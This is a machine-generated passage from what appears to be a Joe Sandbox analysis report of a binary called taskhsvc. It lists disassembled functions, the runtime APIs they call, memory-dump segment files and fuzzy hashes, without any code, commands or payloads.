                                          • Part of subcall function 00C603CA: __stack_chk_fail.LIBSSP-0 ref: 00C603FE
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$strrchr$abort
                                        • String ID:
                                        • API String ID: 1190921433-0
                                        • Opcode ID: 603301e9a068e9e19d823e329550b96b6013f0470200ca608dfd0293ca47ffc3
                                        • Instruction ID: e7a12a70da55c1e2c1643028bde28a8cdea0d7d8b7d0a7375a5ed9ec264fc684
                                        • Opcode Fuzzy Hash: 603301e9a068e9e19d823e329550b96b6013f0470200ca608dfd0293ca47ffc3
                                        • Instruction Fuzzy Hash: 5061A1B49093499FCB10DFA9D18469EBBF0BF88310F14892EE898AB341D734D945DF52
                                        Function 00BD59E9 Relevance: 3.1, APIs: 2, Instructions: 110COMMON
                                        Download Yara Rule
                                        APIs
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BD5C5C
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID:
                                        • API String ID: 4216919130-0
                                        • Opcode ID: 5017a8eb75db766eb79eefdee6bc05f074d8397b636e7514e6959070d792e7ab
                                        • Instruction ID: 726b14d092503d013cfd8535fdf06bba33a47fd43e7fd294aa7f2a1c4ed8148e
                                        • Opcode Fuzzy Hash: 5017a8eb75db766eb79eefdee6bc05f074d8397b636e7514e6959070d792e7ab
                                        • Instruction Fuzzy Hash: 6D51C1B49087059FCB00DFA8D5856AEBBF0FB88314F15885AF498AB351E774D984CF22
                                        Function 00BF3994 Relevance: 3.1, APIs: 2, Instructions: 87COMMON
                                        Download Yara Rule
                                        APIs
                                        • abort.MSVCRT ref: 00BF39E4
                                          • Part of subcall function 00BE8860: abort.MSVCRT ref: 00BE88CA
                                          • Part of subcall function 00BE8860: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00BE9EDC), ref: 00BE88DD
                                          • Part of subcall function 00C170D3: abort.MSVCRT ref: 00C17125
                                          • Part of subcall function 00C170D3: abort.MSVCRT ref: 00C1716C
                                          • Part of subcall function 00C170D3: abort.MSVCRT ref: 00C171B6
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BF3AF8
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: abort$__stack_chk_fail$strrchr
                                        • String ID:
                                        • API String ID: 1113427550-0
                                        • Opcode ID: 319534c0abebfa0bdb1f1b5e3d1034d7d4d8a17eebb5dea9da38956ed4b9143b
                                        • Instruction ID: 516f80e40ac08312180c8625970132a6e4bec27d58d1e81f8a00a7b9d3e13146
                                        • Opcode Fuzzy Hash: 319534c0abebfa0bdb1f1b5e3d1034d7d4d8a17eebb5dea9da38956ed4b9143b
                                        • Instruction Fuzzy Hash: 6231D8B09087059FDB00AF76C4862AEBBF1EF40714F01885DE5E49B242DB78D989DF66
                                        Function 00C4619B Relevance: 3.1, APIs: 2, Instructions: 73COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00C46E90: time.MSVCRT ref: 00C46EE5
                                          • Part of subcall function 00C46E90: __stack_chk_fail.LIBSSP-0 ref: 00C47302
                                        • abort.MSVCRT ref: 00C46244
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                          • Part of subcall function 00C47309: __stack_chk_fail.LIBSSP-0 ref: 00C473D5
                                        • __stack_chk_fail.LIBSSP-0 ref: 00C462AB
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$aborttime
                                        • String ID:
                                        • API String ID: 1987504991-0
                                        • Opcode ID: 12e43612e4661c24485517317abdf208605f249c245e1a89e417ba67099b6460
                                        • Instruction ID: f61c4718fe72080f78f8c61909fa5dad50f73b88c2c258539f14171f9e3a2f2f
                                        • Opcode Fuzzy Hash: 12e43612e4661c24485517317abdf208605f249c245e1a89e417ba67099b6460
                                        • Instruction Fuzzy Hash: 473183B49043099FDB00DFA9C58569EBBF4BF49304F118819E894EB345D778D944DF62
                                        Function 00D1928D Relevance: 3.0, APIs: 2, Instructions: 50windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • FormatMessageA.KERNELBASE ref: 00D192E4
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D1933D
                                          • Part of subcall function 00D213EE: abort.MSVCRT ref: 00D2143E
                                          • Part of subcall function 00D213EE: _strdup.MSVCRT ref: 00D21449
                                          • Part of subcall function 00D213EE: exit.MSVCRT ref: 00D2148A
                                          • Part of subcall function 00D213EE: __stack_chk_fail.LIBSSP-0 ref: 00D2149D
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
